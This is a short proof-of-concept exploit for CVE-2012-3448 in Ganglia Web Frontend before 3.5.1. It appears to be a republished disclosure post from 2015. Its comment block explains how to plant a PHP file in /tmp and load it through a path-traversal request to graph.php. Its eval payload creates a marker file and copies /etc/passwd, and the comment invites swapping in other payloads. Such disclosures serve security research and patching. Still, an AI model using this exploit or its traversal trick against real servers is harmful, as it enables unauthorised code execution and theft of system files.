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Posted on 01 September 2015
<?php /* ################################################################################ # # Author : Andrei Costin (andrei theATsign firmware theDOTsign re) # Desc : CVE-2012-3448 PoC # Details : This PoC will create a dummy file in the /tmp folder and # will copy /etc/passwd to /tmp. # To modify the attack payload, modify the code below. # Setup : Ubuntu Linux 14.04 LTS x86 with Ganglia Web Frontend 3.5.0 # ################################################################################ 1. Assuming that ganglia is installed on the target machine at this path: /var/www/html/ganglia/ 2. Assuming the attacker has minimal access to the target machine and can write to "/tmp". There are several methods where a remote attacker can also trigger daemons or other system processes to create files in "/tmp" whose content is (partially) controlled by the remote attacker. 3. The attacker puts the contents of this PoC file into the file: /tmp/attack.php 4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1 as: http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY 5. Confirm that the PoC created a dummy file in the /tmp folder and copied /etc/passwd to /tmp. */ eval('touch("/tmp/attacker.touch"); copy("/etc/passwd", "/tmp/attacker.passwd");'); die("Triggering CVE-2012-3448 attack.php"); ?>
